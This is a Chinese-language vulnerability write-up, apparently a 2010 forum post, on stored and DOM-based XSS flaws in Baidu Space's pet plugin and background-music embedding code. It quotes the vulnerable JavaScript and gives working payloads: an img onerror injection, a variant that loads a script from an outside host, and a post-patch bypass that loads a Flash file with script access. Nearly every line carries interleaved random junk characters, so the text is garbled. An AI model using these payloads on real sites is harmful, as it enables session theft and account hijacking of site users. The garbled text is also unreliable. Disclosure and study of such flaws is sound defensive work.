百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 4 E1 u" T" n) }8 M6 M9 y$ x4 Z
* k; B; {4 d G: A- O1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 0 X6 n/ f- j' k9 u& j
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
& h. B9 a. H" Y" K3 K# C
. {" }; {' B! Y- K5 Q7 O将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
; v* J& ^* c; Q* s/ Q其中BdUtil.insertWBR为
3 b6 ^! r( M6 j# Y4 Yfunction(text, step) {
5 D2 J( a T" U' E* I var textarea = textAreaCache || getContainer();
, {7 m# O5 o' e+ O if (!textarea) {
: `% ^, z+ d8 C" T" v; C return text;
7 j6 y5 y* B9 l/ w& p& c& e } 7 X$ @2 L& z. H5 I
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 3 l+ z+ w; S7 Z
var string = textarea.value; : s7 D7 U$ y5 u8 Y$ o: S
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); ; c- ^1 @/ {) x
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); + i9 ^' L9 a6 ^/ z9 R6 O
return result; % \' E: Z5 v7 e! o* [7 L+ b
}
9 J! k0 j7 E" L1 C# @& f& K& \在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
7 B' d: s7 j% |, I& w测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
$ t7 S; c5 P3 z9 k% w) F+ g 1 h+ z; L4 ` u$ X
二:creatbgmusic() Dom-Xss Bug * U) ?; U- q3 D2 T
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
c: |/ L7 k O2 K' S2 o
, J- z [* z# E; I* K# U z在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: $ |/ x6 B: E$ N
! c7 v# c' M1 w3 A8 n- Ifunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
; o% B) a' P" J3 E. k //传入的murl赋值到bgmusic1和bgmusic2中
- }6 F+ u$ n5 @4 P% a( S5 U% o/ W //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 , K3 ]. {# F9 H
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; ( ~' z+ u+ J( J% a: n/ D
if (musicnum <= 1) {
0 T5 l8 R: x3 h, p- C8 ? bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; $ B" W) Z4 o/ `4 e% F
}
! K! ]6 S; x: ^" U$ V2 u bgmusic1 += "</OBJECT>";
5 z; w5 r0 x2 m/ F: T7 N var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 1 q! ?6 A; L7 n: y* E" z4 k
if (musicnum <= 1) { : x. T% Y+ \) O# o- G) r) V9 U9 G
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; . |) u X4 j9 D3 W! I
} * I' u1 w0 Z6 e5 W; i
bgmusic2 += "> </EMBED>"; 0 w8 D: `$ `6 @* W
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; ; I1 G% k+ H$ p. h) x' c
var bgmus = detectWMP(); ( U2 ^* C. Q* g+ J9 K5 F- l
if (functype == "FckMusicHelper") { : Y1 B1 N3 M2 ` M
if (bgmus.installed) {
: ?+ [& h3 J0 v if (bgmus.type == "IE") { 0 C/ Z) z& }6 e, I6 I! j
return bgmusic1;
; u! ?- E6 l/ ?1 `) [, C! G } else if (bgmus.type == "NS") { 4 H7 ]* D& Z- R: v& }" \
return bgmusic2; 4 E' q6 q0 _4 @& n8 c7 B
} 0 V0 ^7 a6 ~( i6 p
} else { 1 x; S1 n- ]! C3 F- ^- a9 e
return bgmusic3; , T4 R2 T3 ^; \
}
. O9 W! D6 t( ? } else { ! \: d: b; V4 T4 e- C
if (bgmus.installed) { 5 G0 y% C y6 G) [
//document.write 直接输出bgmusic变量 导致xss ' n a ^ y; J O! o8 x! }5 [* E# f5 `
if (bgmus.type == "IE") { . E; j" m1 ~4 [6 Q, m# \6 N; W1 G- ?
document.write(bgmusic1); ^: j; W1 x U, Y+ p7 I8 [, q
} else if (bgmus.type == "NS") {
1 C! t1 x* {, U5 ]. ~8 G' ] document.write(bgmusic2);
9 D5 A+ C7 ~0 T! p P# C } 0 }8 }( S$ u* z( B: E
} else {
) k1 g- K6 A! M document.write(bgmusic3); / ?) z7 S' w6 \! J- }9 v1 w
} - b; j0 H/ W: g2 ?# v$ G* X/ ?3 ] V) J
return "";
; R& P* V2 Z. j } 0 [% u! U$ M& w* Z/ C8 m, R7 i5 R
}
3 q. }8 ?& R0 o8 x/ m
3 w) U; n' p# Z# b, Y5 o在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
_' |$ g9 O& ], g
0 Z. M8 C' C; K4 J% q q/ Cfunction initBlogTextForFCK(){
2 `1 n5 J+ z7 ~& S//fck init music ) q+ O8 M7 E, s( L8 ~% ?1 l" C2 q
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
7 c: ~+ u2 t4 Jvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 ; S; P m& ~" P" ]$ [5 q4 l- P
var isAutoPlay=true;
1 o6 _4 d6 E% B2 {for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 6 q: q& V, Y+ L6 Y" h
var img=imgBox; / I4 x' q6 y5 S8 {1 l! Z
if(img.getAttribute(’rel’)){ 1 E. m/ o, t: O Z( ^; N6 r0 b
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc : v, l G' v- E' d/ U
var musicDiv = document.createElement("SPAN");
; L$ F: C! `- b* e% k var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
' g# M8 e5 l: A2 V/ [2 S & y* l: P3 q% L6 q5 `9 J% o+ ~2 E
..........................
6 n; P) y9 i z- K% F9 \3 I6 w ) a& J K& e( Y
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
! z {. ?% U6 c2 ]1 G var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
" Y7 o) Q: Z& S- {7 `( J- ?, b shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); 0 M/ e/ K* e m# X. l& @- v
musicDiv.innerHTML=shtml; 3 m6 `; L; }! ?" o7 R
i--;n--;
3 _# w7 l9 n c2 a/ a# T3 Z4 t8 x }
[+ I+ E3 x, Z2 a}
2 F. G3 Z+ m7 k' d4 Z% g d
( L, x5 U/ O9 t8 s从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
9 |2 p- y3 e3 @8 ~5 f) Y7 Z
5 R' @$ ?" D8 t L) e测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
' ?9 e! g; C8 s3 z G$ p: m: ^# Y- ?7 @6 Y7 c) @
等待官方补丁 . I/ }; ?2 f9 Q; ~
& [) `- R/ `( ^- j0 L) i0 F2 a
update 2010年5月13日 " p |' [( ?0 ?9 U
. j* d% `% Y: T5 t4 F) Z/ f% l: B官方补丁:
7 |9 p3 S. V, E$ U Z( V1 L- H; f/ K" k
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
! C5 L& E* c- j& ?改为:
- y% p8 s3 w& Z. b4 Lvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); & v9 r/ l/ v' \4 f- w8 N' O L
3 U# d+ J' P" gupdate 2010年5月13日 21:50:37 7 A& A* M) t4 b* b
. H. y" B/ K6 j. W补丁存在漏洞 没有过滤" 可以继续跨:
+ W. \# c2 L) K9 Q Y8 V
E- b! }4 u/ L7 YNEW POC: . f& P, I* X6 s8 B9 D. g
' N5 V$ K: Q; T8 N' L+ a, \<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
7 Z7 n+ N/ ~( H9 H# ^/ u
& t! k, e# r/ I. H0 mallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>& h3 n% }/ q, x& O; R6 s z6 M
l' Q1 |& P. U2 g) H7 o |